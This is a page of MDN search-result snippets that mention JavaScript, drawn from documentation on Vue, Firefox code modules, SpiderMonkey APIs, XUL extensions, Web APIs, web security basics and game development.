previous overview: client-side javascript frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... sometimes, your app state will need to be accessed by multiple components that are not hierarchically related, or by a regular javascript module.
...And 3 more matches
Vue conditional rendering: editing existing todos - Learn web development
previous overview: client-side javascript frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 3 more matches
Rendering a list of Vue components - Learn web development
previous overview: client-side javascript frameworks next at this point we've got a fully working component; we're now ready to add multiple todoitem components to our app.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 3 more matches
ISO8601DateUtils.jsm
the iso8601dateutils.jsm javascript code module provides methods that make it easy to convert javascript date objects into iso 8601 format date strings and back.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/iso8601dateutils.jsm"); once you've imported the module, you can then use the iso8601dateutils object it exports.
..."2010-05-15t13:45:00z", from a javascript date object.
...And 3 more matches
PopupNotifications.jsm
the popupnotifications.jsm javascript code module provides a popup notification box service.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object provides methods for creating and displaying popup notification panels.
... mainaction a javascript object literal containing fields that define the button to draw in the notification panel.
...And 3 more matches
Sqlite.jsm
the sqlite.jsm javascript code module is a promise-based wrapper around the storage/sqlite interface.
...sqlite.jsm exposes a transaction api built on top of task.jsm that allows transactions to be written as procedural javascript functions (as opposed to a series of callback driven operations).
... javascript-y api.
...And 3 more matches
Scroll-linked effects
as the scroll event listener runs in the javascript on the browser's main thread, it will be asynchronous relative to the user-visible scrolling.
...as this animation is driven by javascript on the browser's main thread, it can be interrupted by other javascript running in other tabs or other windows.
... /* blink currently has bug that requires declaration on `body` */ html { scroll-snap-type: y proximity; } .snaptarget { scroll-snap-align: start; position: relative; top: 200px; height: 200px; background-color: green; } </style> <div class="snaptarget"></div> </body> this version can work smoothly in the browser even if there is slow-running javascript on the browser's main thread.
...And 3 more matches
JS_SetFunctionCallback
sets a callback to be run whenever a javascript function is invoked or exited.
... this lets you trace the execution of code, and is particularly useful for javascript tracers and profilers since it works across all run modes (interpreter, method jit, trace jit).
... fcb jsfunctioncallback the callback to execute when javascript functions are invoked and exited.
...And 3 more matches
JS_SetOperationCallback
this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascript code runs.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...obsolete since javascript 1.9.1 js_setoperationcallbackfunction sets the operation callback without changing the operation limit.
...And 3 more matches
Parser API
recent builds of the standalone spidermonkey shell include a reflection of the spidermonkey parser, made available as a javascript api.
... this makes it easier to write tools in javascript that manipulate javascript source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc.
... reflect.parse(src[, options]) coerces src to a string and parses the result as a javascript program.
...And 3 more matches
XPCOM changes in Gecko 2.0
prior to gecko 2, during component registration, all binary and javascript component files were loaded and called, asking them to register themselves.
...xpt files the path of any xpt files must be listed explicitly in a manifest using an interfaces directive: interfaces components/mycomponent.xpt javascript components the registration information for javascript components is no longer located in the component itself; instead, it's located in the manifest.
...chrome.manifest: # the {classid} here must match the classid in mycomponent.js component {e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8} components/mycomponent.js contract @foobar/mycomponent;1 {e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8} category profile-after-change mycomponent @foobar/mycomponent;1 the javascript code no longer exports a nsgetmodule() function.
...And 3 more matches
Packaging WebLock
component installation overview xpinstall is a set of javascript apis for creating installation scripts.
... the sample installation script shown below uses the mozilla xpinstall technology to manipulate an installer and talk to mozilla'schrome registry as high-level javascript objects.
... javascript apis from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the new component and the ui it uses to access the weblock component.
...And 3 more matches
Components.utils.Sandbox
the created sandbox is simply an empty javascript object marked as having been created by the restricted privilege principal.
... samezoneas a javascript object in whose garbage collection region the sandbox should be created in.
...this property is optional, but very useful for tracking memory usage of add-ons and other javascript compartments.
...And 3 more matches
IJSDebugger
js/ductwork/debugger/ijsdebugger.idlscriptable provides the javascript debugger service.
... you should usually interface with this using the javascript code module instead of directly.
... see the javascript debugger api guide for details.
...And 3 more matches
Building an Account Manager Extension
the javascript file has to be saved either in the extension's or thunderbird's component directory.
...it is common practice to use for the javascript of the new panel, the same naming as used for the xul.
... this means in our example, the javascript file should be located in chrome://example@mozilla.org/content/am-devmo-account.js.
...And 3 more matches
nsIXMLHttpRequestEventTarget
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type description onabort nsidomeventlistener a javascript function object that gets invoked if the operation is canceled by the user.
... onerror nsidomeventlistener a javascript function object that gets invoked if the operation fails to complete due to an error.
... onload nsidomeventlistener a javascript function object that gets invoked when the operation is successfully completed.
...And 3 more matches
Index
the result is a javascript file that will add a "numbers" container to the end of thunderbird's "all folders" mode.
...it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model.
...open the file called chrome.manifest that you created and add this code: 78 building a thunderbird extension 5: xul extensions, thunderbird thunderbird's user interface is written in xul and javascript.
...And 3 more matches
Building a Thunderbird extension 5: XUL
thunderbird's user interface is written in xul and javascript.
...while xul provides the elements of the user interface, actions are written in javascript.
... example xul overlay document create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myfirstext/content/overlay.js"/><!-- a reference to your javascript file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay> the <statusbar> widget named status-bar specifies the merge point within the application window that we want to attach to.
...And 3 more matches
Browser Console - Firefox Developer Tools
so it logs the same sorts of information as the web console - network requests, javascript, css, and security errors and warnings, and messages explicitly logged by javascript code.
... similarly, you can execute javascript expressions using the browser console.
... nb: the browser console command line (to execute javascript expressions) is disabled by default.
...And 3 more matches
Debugger.Object - Firefox Developer Tools
javascript code in different compartments can have different views of the same object.
...for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
... promiseallocationsite if the referent is a promise, this is the javascript execution stack captured at the time of the promise’s allocation.
...And 3 more matches
ByteLengthQueuingStrategy - Web APIs
talchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...talchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 3 more matches
Using the CSS Typed Object Model - Web APIs
the css typed object model api exposes css values as typed javascript objects to allow their performant manipulation.
... converting css object model value strings into meaningfully-typed javascript representations and back (via htmlelement.style) can incur a significant performance overhead.
... <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap().
...And 3 more matches
CountQueuingStrategy - Web APIs
talchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...talchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 3 more matches
Using the Web Animations API - Web APIs
the web animations api lets us construct animations and control their playback with javascript.
... meet the web animations api the web animations api opens the browser’s animation engine to developers and manipulation by javascript.
... with the web animations api, we can move interactive animations from stylesheets to javascript, separating presentation from behavior.
...And 3 more matches
Window - Web APIs
WebAPIWindow
a global variable, window, representing the window in which the script is running, is exposed to javascript code.
...many of these are documented in the javascript reference and the dom reference.
... in a tabbed browser, each tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in which the code is running.
...And 3 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
html <p>live example</p> <button onclick="delayedalert();">show an alert box after two seconds</button> <p></p> <button onclick="clearalert();">cancel alert before it happens</button> javascript var timeoutid; function delayedalert() { timeoutid = window.settimeout(window.alert, 2*1000, 'that was really slow!'); } function clearalert() { window.cleartimeout(timeoutid); } result see also cleartimeout() example.
...just add this code to the top of your script: /*\ |*| |*| polyfill which enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (html5 standard syntax).
...function() { vcallback.apply(null, aargs); } : vcallback, ndelay); }; }, 0, 'test'); }()) ie-only fix if you want a completely unobtrusive fix for every other mobile or desktop browser, including ie 9 and below, you can either use javascript conditional comments: /*@cc_on // conditional ie < 9 only fix @if (@_jscript_version <= 9) (function(f){ window.settimeout = f(window.settimeout); window.setinterval = f(window.setinterval); })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof function?c.apply(this,a):eval(c)},t)}}); @end @*/ ...
...And 3 more matches
DOM onevent handlers - Developer guides
you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }.
...when the element is built from the html, the value of its onevent attributes are copied to the dom object that represents the element, so that accessing the attributes' values using javascript will get the value set in the html.
... further changes to the html attribute value can be done via the setattribute method; making changes to the javascript property will have no effect.
...And 3 more matches
Rich-Text Editing in Mozilla - Developer guides
devedge provides a javascript helper class, xbdesignmode, which is a wrapper for the designmode feature which hides the differences between ie and mozilla.
...internet explorer, however, does not allow javascript to change the current document's designmode.
... figure 2 : first example html: <body contenteditable="true" onload="load()"> javascript: function load(){ window.document.designmode = "on"; } example 2 the second example is a simple rich text editing page, where text can be bolded/italicized/underlined, new links can be added and the color of text changed.
...And 3 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server.
... for example, cookies that persist server-side sessions don't need to be available to javascript, and should have the httponly attribute.
... javascript access using document.cookie new cookies can be created via javascript using the document.cookie property, and existing cookies can be accessed from javascript as well, if the httponly flag is not set.
...And 3 more matches
Performance fundamentals - Web Performance
all application logic is written in javascript.
... gecko rendering the gecko javascript engine supports just-in-time (jit) compilation.
...javascript is a dynamically-typed language, and the web platform allows loading code, html, css, images, and other resources dynamically.
...And 3 more matches
Same-origin policy - Web security
ner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scripts executed from pages with an about:blank or javascript: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server.
...if this popup also contains javascript, that script would inherit the same origin as the script that created it.
... here are some examples of resources which may be embedded cross-origin: javascript with <script src="…"></script>.
...And 3 more matches
2015 MDN Fellowship Program - Archive of obsolete content
required skills and experience experience and comfort writing javascript test scripts.
... required skills and experience experienced web developer with expertise in javascript, css, html as well as with efficient network interaction (queuing resource fetching, etc.).
...command of javascript and module systems preferred.
...And 2 more matches
ui/sidebar - Archive of obsolete content
you specify its content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars.
...so you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: "./sidebar.html" }); you can include javascript and css from the html as you would with any web page, for example using <script> and <link> tags containing a path relative to the html file itself.
... <!doctype html> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/javascript" src="stuff.js"></script> </body> </html> you can update the sidebar's content by setting the sidebar's url property.
...And 2 more matches
Examples and demos from articles - Archive of obsolete content
live demos javascript rich-text editor [zip] how to standardize the creation of complete rich-text editors in web pages.
...this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript).
...[article] code snippets and tutorials javascript complete cookies reader/writer with full unicode support this little framework consists of a complete cookies reader/writer with unicode support.
...And 2 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" labe...
...l="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay.
... over (which will soon launch the tooltip) var txt = event.target.getattribute("tooltiphtml"); // get the html div element that is inside the custom xul tooltip var div = document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown custom html while(div.firstchild) div.removechild(div.firstchild); //safely convert html string to a simple dom object, stripping it of javascript and more complex tags var injecthtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(txt, false, null, div); //attach the dom object to the html div element div.appendchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to ...
...And 2 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
the issue that is commonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the privileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files.
...this means for example that javascript code top.location.href = "about:blank" will only unload the content document but won’t have any effect on the chrome.
...here it is most important to disable javascript and plugins.
...And 2 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
noscript enables and disables javascript execution on a site-by-site basis.
... greasemonkey userchrome.js both of these provide an environment for running user scripts (javascript) in firefox itself, where the scripts can target specific websites.
... user scripts (change appearance and functionality through javascript) yes; you can use the greasemonkey extension or "bookmarklets." yes; you can change userchrome.js to add functionality through javascript.
...And 2 more matches
Adding windows and dialogs - Archive of obsolete content
« previousnext » opening windows and dialogs to open a new window, use the javascript window.open function just like with html windows.
...this can only be used from the chrome, not from regular html javascript.
...there are some equivalent, simpler functions that are available in the window object, but those are meant for unprivileged html javascript code.
...And 2 more matches
Connecting to Remote Content - Archive of obsolete content
json content json is a very lightweight and simple data representation format, similar to the object representation used in javascript.
... unlike javascript, the json format doesn't allow any kind of code that can be run, only data.
... json used to be risky in terms of security because the favored way of parsing it was to use the javascript eval function.
...And 2 more matches
The Essentials of an Extension - Archive of obsolete content
<script type="application/x-javascript" src="chrome://xulschoolhello/content/browseroverlay.js" /> just like in html, this includes a javascript script file.
...the value of the attribute is javascript code that invokes a function.
... now let's look at the javascript file and see what's going on when the event is fired.
...And 2 more matches
Security best practices in extensions - Archive of obsolete content
frame.docshell.allowimages = false; frame.docshell.allowjavascript = false; frame.docshell.allowplugins = false; there are more examples listed in the document listed above in this section.
... using eval() in an extension using the built-in javascript eval function is frowned upon in the context of extensions.
... remote javascript and content there are a number of ways of remote scripts being used in extensions.
...And 2 more matches
Localizing an extension - Archive of obsolete content
performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves.
...localizing strings in javascript code if your javascript code contains literal strings that need to be localized, as does our stock watcher sample, we need to make those localizable as well.
...create a properties file the first thing we do is create a property file for the literal strings used by the javascript code in stockwatcher2.js: changestring=chg: openstring=open: lowstring=low: highstring=high: volumestring=vol: the stockwatcher2.properties file shown above maps five keys (changestring, openstring, lowstring, highstring, and volumestring) to the corresponding text in english.
...And 2 more matches
Java in Firefox Extensions - Archive of obsolete content
liveconnect gives your extension's javascript code (linked from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
... the following technique only works in javascript code linked from or contained in xul files.
... if you wish to call java code from within javascript code that implements some xpcom components, at this time, you need a different technique (refer to the complete java firefox extension).
...And 2 more matches
Complete - Archive of obsolete content
install.js installation script for seamonkey chrome directory containing the extension code chrome/allcustom.jar the extension jar defaults/preferences directory containing a preferences file inside the jar there are three directories: content xul, javascript and other content that does not depend on the locale or theme locale files for each locale skin files for each theme version checks firefox etc.
...xul and javascript each have mechanisms for loading text strings from the correct locale directory.
...its javascript code gets the text strings it needs from the xul.
...And 2 more matches
Debugging a XULRunner Application - Archive of obsolete content
see also debugging javascript prefs setting the following prefs will make your debugging life much easier!
... /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability.
... javascript console to enable the js console, start xulrunner with the -jsconsole argument.
...And 2 more matches
2006-12-01 - Archive of obsolete content
it is basically a java classloader that creates classes from javascript files.
... server side spidermonkey juicescript is an open source version of a server side javascript.
... reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
...And 2 more matches
Using the W3C DOM - Archive of obsolete content
some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers.
... inputname.value document.forms["formname"].inputname.value or document.forms["formname"].elements["inputname"].value formctrlname document.forms["formname"].formctrlname or document.forms["formname"].elements["formctrlname"] document.forms(0) document.forms[0] more on accessing forms and form elements: referencing forms and form controls by comp.lang.javascript newsgroup faq notes dom 2 specification on accessing forms and form elements referencing forms and form elements correctly, javascript best practices, by matt kruse for accessing a group of elements, the dom specification also includes getelementsbytagname, which returns a nodelist of all the elements with the given tag name in the order they appear in the document: var arrcollection_of_pargs...
...therefore, if you wish to read and write these properties from javascript through the dom2, use one of these two approaches: place all of the element's static css declarations (if it has any) in the element's style attribute.
...And 2 more matches
JavaClass - Archive of obsolete content
summary core object a javascript reference to a java class.
... description a javaclass object is a reference to one of the classes in a java package, such as netscape.javascript.jsobject.
... a javapackage object is a reference to a java package, such as netscape.javascript.
...And 2 more matches
JavaPackage - Archive of obsolete content
summary core object a javascript reference to a java package.
...for example, the netscape package contains the package netscape.javascript; the netscape.javascript package contains the classes jsobject and jsexception.
... in javascript, a javapackage is a reference to a java package.
...And 2 more matches
Archive of obsolete content
jxon jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
...performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves.
...And 2 more matches
3D collision detection - Game development
y–bmaxy, and bminz–bmaxz are the ranges of each axis of the aabb, we can calculate whether a collision has occurred between the two using the following formula: f(p,b)=(px>=bminx∧px<=bmaxx)∧(py>=bminy∧py<=bmaxy)∧(pz>=bminz∧pz<=bmaxz)f(p,b)= (p_x >= b_{minx} \wedge p_x <= b_{maxx}) \wedge (p_y >= b_{miny} \wedge p_y <= b_{maxy}) \wedge (p_z >= b_{minz} \wedge p_z <= b_{maxz}) or in javascript: function ispointinsideaabb(point, box) { return (point.x >= box.minx && point.x <= box.maxx) && (point.y >= box.miny && point.y <= box.maxy) && (point.z >= box.minz && point.z <= box.maxz); } aabb vs.
... mathematically this would look like so: f(a,b)=(aminx<=bmaxx∧amaxx>=bminx)∧(aminy<=bmaxy∧amaxy>=bminy)∧(aminz<=bmaxz∧amaxz>=bminz)f(a,b) = and in javascript, we'd use this: function intersect(a, b) { return (a.minx <= b.maxx && a.maxx >= b.minx) && (a.miny <= b.maxy && a.maxy >= b.miny) && (a.minz <= b.maxz && a.maxz >= b.minz); } bounding spheres using bounding spheres to detect collisions is a bit more complex than aabb, but still fairly quick to test.
...sphere collision detection would work out like so: f(p,s)=sradius>=(px-sx)2+(py-sy)2+(pz-sz)2f(p,s) = s_{radius} >= \sqrt{(p_x - s_x)^2 + (p_y - s_y)^2 + (p_z - s_z)^2} or in javascript: function ispointinsidesphere(point, sphere) { // we are using multiplications because is faster than calling math.pow var distance = math.sqrt((point.x - sphere.x) * (point.x - sphere.x) + (point.y - sphere.y) * (point.y - sphere.y) + (point.z - sphere.z) * (point.z - sphere.z)); return distance < sphere.radius; } the code above fea...
...And 2 more matches
3D games on the Web - Game development
webgl is basically an opengl es 2.0 for the web — it's a javascript api providing tools to build rich interactive animations and of course, also games.
... you can generate and render dynamic 3d graphics with javascript that is hardware accelerated.
...we have information available for you to learn from: 2d collision detection 3d collision detection webxr the concept of virtual reality is not new, but it's storming onto the web thanks to hardware advancements such as the oculus rift, and the (currently experimental) webxr api for capturing information from vr and ar hardware and making it available for use in javascript applications.
...And 2 more matches
2D breakout game using Phaser - Game development
next » in this step-by-step tutorial, we create a simple mobile mdn breakout game written in javascript, using the phaser framework.
... to get the most out of this series of articles you should already have basic to intermediate javascript knowledge.
... building together — are available on github: initialize the framework scaling load the assets and print them on screen move the ball physics bounce off the walls player paddle and controls game over build the brickfield collision detection the score win the game extra lives animations and tweens buttons randomizing gameplay as a note on learning paths — starting with pure javascript is the best way to get a solid knowledge of web game development.
...And 2 more matches
Gecko FAQ - Gecko Redirect 1
gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascript, and others.
...gecko also offers the ability to parse various document types (html, xml, svg, etc), advanced rendering capabilities including compositing and transformations, and support for embedded javascript and plugins.
... xml 1.0: full support, except for processing to manipulate default attributes rdf: full support, except for abouteach, abouteachprefix, and parsetype javascript 1.5, including ecma-262 edition 3 (ecmascript) compliance, except for date.todatestring and date.totimestring, which are not implemented transfer protocols: http 1.1 (including gzip compression), ftp ssl unicode oji (open java interface) image formats png gif jpeg, pjpeg does "full support" mean that gecko has zero bugs today or will have zero bugs at some point in the fut...
...And 2 more matches
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
hoisting was thought up as a general way of thinking about how execution contexts (specifically the creation and execution phases) work in javascript.
... learn more technical example one of the advantages of javascript putting function declarations into memory before it executes any code segment is that it allows you to use a function before you declare it in your code.
...this is because of how context execution works in javascript.
...And 2 more matches
From object to iframe — other embedding technologies - Learn web development
note: in order to improve speed, it's a good idea to set the iframe's src attribute with javascript after the main content is done with loading.
... unsandboxed content can do way too much (executing javascript, submitting forms, popup windows, etc.) by default, you should impose all available restrictions by using the sandbox attribute with no parameters, as shown in our previous example.
...one important note is that you should never add both allow-scripts and allow-same-origin to your sandbox attribute — in that case, the embedded content could bypass the same-origin policy that stops sites from executing scripts, and use javascript to turn off sandboxing altogether.
...And 2 more matches
Adding features to our bouncing balls demo - Learn web development
objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer.
...you could paste the html, css and javascript into one of these online editors.
... if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page.
...And 2 more matches
Web performance resources - Learn web development
using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum.
... only use as much javascript as needed for the current page.
...the following snippet includes an onload attribute, requiring javascript, so it is important to include a noscript tag with a traditional fallback.
...And 2 more matches
Web performance - Learn web development
building websites requires html, css, and javascript.
... learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance.
... it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck gotchas.
...And 2 more matches
Introduction to the server side - Learn web development
html and javascript).
... requests for static resources are handled in the same way as for static sites (static resources are any files that don't change —typically: css, javascript, images, pre-created pdf files etc).
... they generally don't use the same programming languages (the exception being javascript, which can be used on the server- and client-side).
...And 2 more matches
Focus management with Vue refs - Learn web development
previous overview: client-side javascript frameworks next we are nearly done with vue.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 2 more matches
Setting up your own test automation environment - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing, and automated testing.
...most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
...for more complete details, you should consult the selenium-webdriver javascript api reference for a detailed reference, and the selenium main documentation's selenium webdriver and webdriver: advanced usage pages, which contain multiple examples to learn from written in different languages.
...And 2 more matches
Command line crash course - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages.
...tory called src, located inside a directory called project, located on the desktop, you could type these three commands to get there from your home folder: cd desktop cd project cd src but this a waste of time — instead, you can type one command, with the different items in the path separated by forward slashes, just like you do when specifying paths to images or other assets in css, html, or javascript code: cd desktop/project/src note that including a leading slash on your path makes the path absolute, for example /users/your-user-name/desktop.
...for that, we'll add awk to the mix (which is a programming language akin to javascript or ruby or python, just a lot older!).
...And 2 more matches
Interface Compatibility
-moz-box-shadow), or javascript apis that begin with the moz prefix (e.g.
...javascript/xul interfaces traditional extensions written using xul overlays and xpcom have access to the full power of the mozilla platform.
...this includes not only xpcom interfaces, but javascript functions, xbl bindings, and any other visible behavior.
...And 2 more matches
How to implement a custom autocomplete search component
the simplest way to make an xpcom component is to build an xpcom javascript component (this cannot be done with a javascript module).
... how to build an xpcom component in javascript will step you through the process.
... because creating an xpcom component in order to build a custom autocomplete source can be enough to discourage some developers, below is an example javascript xpcom component called "simple-autocomplete" that implements the necessary interfaces.
...And 2 more matches
PromiseWorker.jsm
javascript files imported into the worker scope and main thread scope which allows posting to the worker and receiving in the form of a promise.
... promiseworker module consists of two javascript files, promiseworker.jsm and promiseworker.js.
... promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascript code module used by the main thread to create a worker thread and communicate with it.
...And 2 more matches
Localization and Plurals
tput display 0.2: use pluralform.numforms() to get the number of forms instead of figuring out locally to better support future rules - requires build from 2007/01/27 or later 0.3: generate a list of what numbers fall into which plural form to minimize the sample output to at most 3 of each form developing with pluralform the functionality for getting the correct plural forms is provided by a javascript module, pluralform.jsm.
... loading pluralform.jsm loading the pluralform module from javascript is simple with components.utils.import.
...at the top of your javascript file is fine.
...And 2 more matches
Mozilla Web Developer FAQ
css parsing errors are reported to the javascript console.
... javascript doesn’t work!
... in the standards mode mozilla does not generate implicit top-level javascript variable bindings for elements with the id or name attribute.
...And 2 more matches
FOSS
flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings ...
...includes a js shell that allows you to use cpan modules from javascript.
... python http://pypi.python.org/pypi/python-spidermonkey wxwidgets gluescript (formerly wxjavascript) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite, nspr, ode, libpng, libjpeg, libffi, (...) libraries for spidermonkey http://www.jsdb.org/ - a js shell with native objects for files, networks, databases, compression, email, etc.
...And 2 more matches
JSNative
in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative callbacks provided by the application, written in c/c++ code.
... the term "native" here refers to c/c++ code as opposed to javascript code.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...And 2 more matches
JS_GetStringBytes
convert a javascript string to a c string.
... description js_getstringbytes and js_getstringbytesz convert the specified javascript string, str, to a c string (an array of 8-bit chars).
... note: js_getstringbytes() and js_getstringbytesz() have both been removed as of javascript 1.8.5 (firefox 4).
...And 2 more matches
JS_NewExternalString
the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its contents unchanged, for as long as the javascript engine needs to hold on to it.
... (ultimately, the string will be garbage collected, and the javascript engine will call the string finalizer callback, allowing the application to free the array.) the array does not need to be zero-terminated.
... fin jsstringfinalizer a string finalizer the javascript engine should use (later) to free the string buffer chars.
...And 2 more matches
JS_THREADSAFE
